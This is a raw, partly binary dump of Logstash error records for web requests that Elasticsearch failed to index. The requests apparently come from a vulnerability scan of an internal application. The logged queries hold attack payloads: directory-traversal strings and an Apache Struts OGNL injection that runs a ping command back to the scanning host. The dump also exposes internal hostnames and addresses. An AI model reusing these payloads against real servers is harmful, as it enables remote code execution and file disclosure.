lresponseBody▒torg.jruby.RubyStringx▒{
"timestamp" : "2024-02-10T06:59:22.193+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/examples/jsp/source.jsp"
}▒nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒▒▒h@versiona1j@timestamp▒vorg.logstash.Timestampx2024-02-
10T06:59:23.020463019Z▒dtype▒torg.jruby.RubyStringgapplog2▒curl▒xorg.logstash.Conve
rtedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒ncontent_length▒torg.jruby.
RubyStringe93405▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548360017*btid=673956*guid=8261daef-ba4c-481b-abe5-
ad8a9bd24a0c*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒lcontent_type▒torg.jruby.RubyStringpapplication/
json▒lrequest_path▒torg.jruby.RubyStringa/
▒lhttp_version▒torg.jruby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drf
irst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒jconnection▒torg.jruby.RubyStringjK
eep-Alive▒nrequest_method▒elasticsearchbyS?Could not index event to Elasticsearch.
status: 400, action: ["index", {:_id=>nil, :_index=>"logstash-applog2-
2024.02.10", :routing=>nil}, {"http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"93405"}}},
"tags"=>["shipperelkaz61u"],
"loggerRecord"=>{"logEventList"=>[{"eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "handlerMethodName"=>"initialLoggerRecord",
"startTime"=>"2024-02-10T06:59:22.193Z", "endTime"=>"2024-02-10T06:59:22.193Z",
"eventName"=>"error", "messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter"}],
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T06:59:22.193Z", "endTime"=>"2024-
02-10T06:59:22.193Z", "requestInfo"=>{"requestURI"=>"/error",
"httpHeaderMap"=>{"pragma"=>"no-cache", "accept"=>"image/gif, image/x-xbitmap,
image/jpeg, image/pjpeg, image/png, */*", "user-agent"=>"Mozilla/4.0 (compatible;
MSIE 8.0; Windows NT 5.1; Trident/4.0)", "accept-language"=>"en", "accept-
charset"=>"iso-8859-1,*,utf-8", "host"=>"172.16.3.86", "connection"=>"Keep-Alive"},
"userAgent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"clientIp"=>"172.16.2.47", "accessUrl"=>"http://172.16.3.86/error",
"queryMap"=>{"../../../../system/autoexec.ncf"=>""}, "conversationId"=>"",
"requestBodySize"=>0,
"tagMap"=>{"queryString"=>"%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf"}},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"c6a04f36-d327-45f5-
9034-2acdfd277f59", "appInfo"=>{"serverName"=>"piepaaz02u_51002",
"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa"},
"responseInfo"=>{"responseBodySize"=>133, "responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T06:59:22.193+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/examples/jsp/source.jsp\"\n}",
"responseStatus"=>"999-99-9999"}}, "@version"=>"1", "@timestamp"=>2024-02-
10T06:59:23.020463019Z, "type"=>"applog2", "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}],
response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"Y0HQkY0BOuv0w9qUSUB3", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['../../../../system/autoexec.ncf']"}}}}1c▒▒▒▒▒Έ▒2024-02-
10T07:07:03.730808190Z▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhttp▒xo
rg.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.Rub
yStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyStringpapplicatio
n/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringd3346▒▒▒▒▒▒▒dtags
▒xorg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz61u▒▒▒lloggerRecord
▒xorg.logstash.ConvertedMap▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logstas
h.ConvertedMap▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:07:00.754Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:07:00.754Z▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.
ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.ut
il.GearLoggerAdapter▒▒▒▒▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T07:07:00.754Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:07:00.754Z▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.Rub
yStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒dhost▒torg.jruby.RubyStringq172.16.
3.86:51002▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1; Trident/4.0)▒▒▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ruby
Stringxhttp://172.16.3.86:51002/
error▒hqueryMap▒xorg.logstash.ConvertedMap▒yQredirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p6947356546534a73576a
172.16.2.47').getInputStream())}▒torg.jruby.RubyString`▒▒▒nconversationId▒torg.jrub
y.RubyString`▒orequestBodySizetagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.j
ruby.RubyStringy▒redirect:$%7b%23context%5b
%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-p6947356546534a73576a
%20172.16.2.47%27%29.getInputStream
%28%29%29%7d▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.
RubyStringeerror▒▒▒nconversationId▒torg.jruby.RubyStringx$5c970a67-3572-405e-8dc9-
90e4f112944a▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStringp
piepaaz02u_51002▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒gappName▒torg.jruby.Rub
yStringgpi2-
epa▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒presponseBodySizelresponseBody▒torg.
jruby.RubyStringxn{
"timestamp" : "2024-02-10T07:07:00.753+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/"
}▒nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒▒▒h@versiona1j@timestamp▒vorg.logstash.Timestampx2024-02-
10T07:07:03.612141904Z▒dtype▒torg.jruby.RubyStringgapplog2▒curl▒xorg.logstash.Conve
rtedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒ncontent_length▒torg.jruby.
RubyStringd3346▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548820612*btid=673956*guid=fcaefe84-3989-416c-9be2-
b383dfc40c19*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒lcontent_type▒torg.jruby.RubyStringpapplication/
json▒lrequest_path▒torg.jruby.RubyStringa/
▒lhttp_version▒torg.jruby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drf
irst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒jconnection▒torg.jruby.RubyStringjK
eep-
Alive▒nrequest_method▒telasticsearchyStringdPOST▒▒▒▒▒▒▒▒▒▒▒▒▒@1af226484fd3cf8541c81
ead78cf403bc6dcdb26889a0fbf0a091c6d2a375910
Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"3346"}}},
"tags"=>["shipperelkaz61u"],
"loggerRecord"=>{"logEventList"=>[{"eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "handlerMethodName"=>"initialLoggerRecord",
"startTime"=>"2024-02-10T07:07:00.754Z", "endTime"=>"2024-02-10T07:07:00.754Z",
"eventName"=>"error", "messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter"}],
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T07:07:00.754Z", "endTime"=>"2024-
02-10T07:07:00.754Z", "requestInfo"=>{"requestURI"=>"/error",
"httpHeaderMap"=>{"host"=>"172.16.3.86:51002", "user-agent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"}, "userAgent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)", "clientIp"=>"172.16.2.47",
"accessUrl"=>"http://172.16.3.86:51002/error", "queryMap"=>{"redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p6947356546534a73576a
172.16.2.47').getInputStream())}"=>""}, "conversationId"=>"", "requestBodySize"=>0,
"tagMap"=>{"queryString"=>"redirect:$%7b%23context%5b
%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-p6947356546534a73576a
%20172.16.2.47%27%29.getInputStream%28%29%29%7d"}},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"5c970a67-3572-405e-
8dc9-90e4f112944a", "appInfo"=>{"serverName"=>"piepaaz02u_51002",
"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa"},
"responseInfo"=>{"responseBodySize"=>110, "responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T07:07:00.753+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/\"\n}", "responseStatus"=>"999-99-
9999"}}, "@version"=>"1", "@timestamp"=>2024-02-10T07:07:03.612141904Z,
"type"=>"applog2", "url"=>{"path"=>"/", "domain"=>"logstash2.drfirst",
"port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}], response:
{"index"=>{"_index"=>"logstash-applog2-2024.02.10", "_id"=>"O6vXkY0B8tjMFGQYUN-j",
"status"=>400, "error"=>{"type"=>"illegal_argument_exception", "
reason"=>"Limit of mapping depth [20] has been exceeded due to object field
[loggerRecord.requestInfo.queryMap.redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p6947356546534a73576a 172.16.2.47')]"}}}1co▒▒▒▒▒
W2024-02-
10T07:07:36.634152100Z▒▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhttp▒x
org.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.Ru
byStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyStringpapplicatio
n/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringe11428▒▒▒▒▒▒▒dtag
s▒xorg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz61u▒▒▒lloggerRecor
d▒xorg.logstash.ConvertedMap▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logsta
sh.ConvertedMap▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:07:34.297Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:07:34.297Z▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.
ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.ut
il.GearLoggerAdapter▒▒▒▒▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T07:07:34.297Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:07:34.297Z▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.Rub
yStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒fpragma▒torg.jruby.RubyStringhno-
cache▒faccept▒torg.jruby.RubyStringxCimage/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, image/png, */*▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)▒oaccept-
language▒torg.jruby.RubyStringben▒naccept-charset▒torg.jruby.RubyStringriso-8859-
1,*,utf-
8▒dhost▒torg.jruby.RubyStringk172.16.3.86▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒▒▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ruby
Stringxhttp://172.16.3.86/error▒hqueryMap▒xorg.logstash.ConvertedMap▒xcsys:/
novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf▒torg.jruby.RubyString`▒▒▒nconversationI
d▒torg.jruby.RubyString`▒orequestBodySizetagMap▒xorg.logstash.ConvertedMap▒kquerySt
ring▒torg.jruby.RubyStringxcsys:/novonyx/suitespot/docs/sewse/
viewcode.jse+httplist+httplist/../../../../../system/
autoexec.ncf▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.
RubyStringeerror▒▒▒nconversationId▒torg.jruby.RubyStringx$61b5bfc7-87d3-418f-bf4e-
ebfa18035306▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStringp
piepaaz02u_51002▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒gappName▒torg.jruby.Rub
yStringgpi2-
epa▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒presponseBodySizelresponseBody▒torg.
jruby.RubyStringx|{
"timestamp" : "2024-02-10T07:07:34.297+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/lcgi/sewse.nlm"
}▒nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒▒▒h@versiona1j@timestamp▒vorg.logstash.Timestampx2024-02-
10T07:07:36.273034438Z▒dtype▒torg.jruby.RubyStringgapplog2▒curl▒xorg.logstash.Conve
rtedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒ncontent_length▒torg.jruby.
RubyStringe11428▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548853273*btid=673956*guid=9a42ea91-36bb-4c1a-9742-
1a8e8aa59dc1*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒lcontent_type▒torg.jruby.RubyStringpapplication/
json▒lrequest_path▒torg.jruby.RubyStringa/
▒lhttp_version▒torg.jruby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drf
irst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒jconnection▒torg.jruby.RubyStringjK
eep-Alive▒nrequest_method▒elasticsearchbyS▒Could not index event to Elasticsearch.
status: 400, action: ["index", {:_id=>nil, :_index=>"logstash-applog2-
2024.02.10", :routing=>nil}, {"http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"11428"}}},
"tags"=>["shipperelkaz61u"],
"loggerRecord"=>{"logEventList"=>[{"eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "handlerMethodName"=>"initialLoggerRecord",
"startTime"=>"2024-02-10T07:07:34.297Z", "endTime"=>"2024-02-10T07:07:34.297Z",
"eventName"=>"error", "messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter"}],
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T07:07:34.297Z", "endTime"=>"2024-
02-10T07:07:34.297Z", "requestInfo"=>{"requestURI"=>"/error",
"httpHeaderMap"=>{"pragma"=>"no-cache", "accept"=>"image/gif, image/x-xbitmap,
image/jpeg, image/pjpeg, image/png, */*", "user-agent"=>"Mozilla/4.0 (compatible;
MSIE 8.0; Windows NT 5.1; Trident/4.0)", "accept-language"=>"en", "accept-
charset"=>"iso-8859-1,*,utf-8", "host"=>"172.16.3.86", "connection"=>"Keep-Alive"},
"userAgent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"clientIp"=>"172.16.2.47", "accessUrl"=>"http://172.16.3.86/error",
"queryMap"=>{"sys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf"=>""}, "conversationId"=>"",
"requestBodySize"=>0,
"tagMap"=>{"queryString"=>"sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+
httplist/../../../../../system/autoexec.ncf"}},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"61b5bfc7-87d3-418f-
bf4e-ebfa18035306", "appInfo"=>{"serverName"=>"piepaaz02u_51002",
"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa"},
"responseInfo"=>{"responseBodySize"=>124, "responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T07:07:34.297+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/lcgi/sewse.nlm\"\n}",
"responseStatus"=>"999-99-9999"}}, "@version"=>"1", "@timestamp"=>2024-02-
10T07:07:36.273034438Z, "type"=>"applog2", "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}],
response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"3EzXkY0BlOWvilgM0TMs", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['sys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf']"}}}}1
X11 forwarding request failed on channel 0
shipperelkaz62u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 10 02:04 main
total 28
-rw-r--r-- 1 logstash logstash 6491 Feb 10 01:58 1.log
-rw-r--r-- 1 logstash logstash 7616 Feb 10 02:03 2.log
-rw-r--r-- 1 logstash logstash 6778 Feb 10 02:04 3.log
-rw-r--r-- 1 logstash logstash 1 Feb 10 02:04 4.log.tmp

1cM▒▒▒▒`▒o2024-02-
10T06:58:48.825477896Z▒▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dtags▒x
org.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz62u▒▒▒lloggerRecord▒x
org.logstash.ConvertedMap▒nconversationId▒torg.jruby.RubyStringx$042b80be-7d48-
45b0-8ea3-
0a45133b5610▒krequestInfo▒xorg.logstash.ConvertedMap▒nconversationId▒torg.jruby.Rub
yString`▒jrequestURI▒torg.jruby.RubyStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒naccept-
charset▒torg.jruby.RubyStringriso-8859-1,*,utf-
8▒faccept▒torg.jruby.RubyStringxCimage/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, image/png, */*▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒dhost▒torg.jruby.RubyStringk172.16.3.85▒fpragma▒torg.jruby.RubyStringh
no-cache▒jconnection▒torg.jruby.RubyStringjKeep-Alive▒oaccept-
language▒torg.jruby.RubyStringben▒▒▒hqueryMap▒xorg.logstash.ConvertedMap▒x../../../
../system/
autoexec.ncf▒torg.jruby.RubyString`▒▒▒orequestBodySizetagMap▒xorg.logstash.Converte
dMap▒kqueryString▒torg.jruby.RubyStringx/%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/
autoexec.ncf▒▒▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ru
byStringxhttp://172.16.3.85/error▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒▒▒gendTime▒torg.jruby.RubyStringx2024-02-
10T06:58:48.322Z▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logstash.Converted
Map▒ieventName▒torg.jruby.RubyStringeerror▒phandlerClassName▒torg.jruby.RubyStringx
.com.drfirst.gear.logger.util.GearLoggerAdapter▒gendTime▒torg.jruby.RubyStringx2024
-02-
10T06:58:48.322Z▒kmessageList▒xorg.logstash.ConvertedList▒▒▒qhandlerMethodName▒torg
.jruby.RubyStringsinitialLoggerRecord▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T06:58:48.322Z▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jr
uby.RubyStringeerror▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒lresponseBody▒torg.
jruby.RubyStringx▒{
"timestamp" : "2024-02-10T06:58:48.322+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/examples/jsp/source.jsp"
}▒presponseBodySize
nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒qprocessPeriodInMsappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.
RubyStringppiepaaz01u_51001▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒▒▒istartTime▒torg.jruby.RubyStringx2
024-02-10T06:58:48.322Z▒▒▒j@timestamp▒vorg.logstash.Timestampx2024-02-
10T06:58:48.713886207Z▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.logstash.Conv
ertedMap▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringe27579▒▒▒imim
e_type▒torg.jruby.RubyStringpapplication/
json▒▒▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.RubyStringhHTTP/
1.1▒▒▒h@versiona1curl▒xorg.logstash.ConvertedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒dtype▒torg.jruby.RubyStringgapplog2
▒▒▒dMETA▒xorg.logstash.ConvertedMap▒einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.lo
gstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒gheaders▒xorg.logstash.Conv
ertedMap▒lrequest_path▒torg.jruby.RubyStringa/
▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drfirst:50581▒nrequest_method▒torg.jrub
y.RubyStringdPOST▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548325713*btid=673956*guid=c17845a8-7d00-49fd-92fd-
66e7d9765a1c*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒lhttp_version▒torg.jr
uby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒lcontent_type▒telasticsearchySt?Could not
index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"tags"=>["shipperelkaz62u"], "loggerRecord"=>{"conversationId"=>"042b80be-7d48-
45b0-8ea3-0a45133b5610", "requestInfo"=>{"conversationId"=>"",
"requestURI"=>"/error", "httpHeaderMap"=>{"accept-charset"=>"iso-8859-1,*,utf-8",
"accept"=>"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*",
"user-agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"host"=>"172.16.3.85", "pragma"=>"no-cache", "connection"=>"Keep-Alive", "accept-
language"=>"en"}, "queryMap"=>{"../../../../system/autoexec.ncf"=>""},
"requestBodySize"=>0,
"tagMap"=>{"queryString"=>"%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf"},
"clientIp"=>"172.16.2.47", "accessUrl"=>"http://172.16.3.85/error",
"userAgent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"},
"endTime"=>"2024-02-10T06:58:48.322Z", "logEventList"=>[{"eventName"=>"error",
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"endTime"=>"2024-02-10T06:58:48.322Z", "messageList"=>[],
"handlerMethodName"=>"initialLoggerRecord", "eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T06:58:48.322Z"}],
"controllerInfo"=>{"actionName"=>"error"}, "responseInfo"=>{"responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T06:58:48.322+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/examples/jsp/source.jsp\"\n}",
"responseBodySize"=>133, "responseStatus"=>"999-99-9999"}, "processPeriodInMs"=>0,
"appInfo"=>{"serverName"=>"piepaaz01u_51001", "appName"=>"pi2-epa",
"appVersion"=>"1.37.0.1"}, "startTime"=>"2024-02-10T06:58:48.322Z"},
"@timestamp"=>2024-02-10T06:58:48.713886207Z,
"http"=>{"request"=>{"body"=>{"bytes"=>"27579"}, "mime_type"=>"application/json"},
"method"=>"POST", "version"=>"HTTP/1.1"}, "@version"=>"1", "url"=>{"path"=>"/",
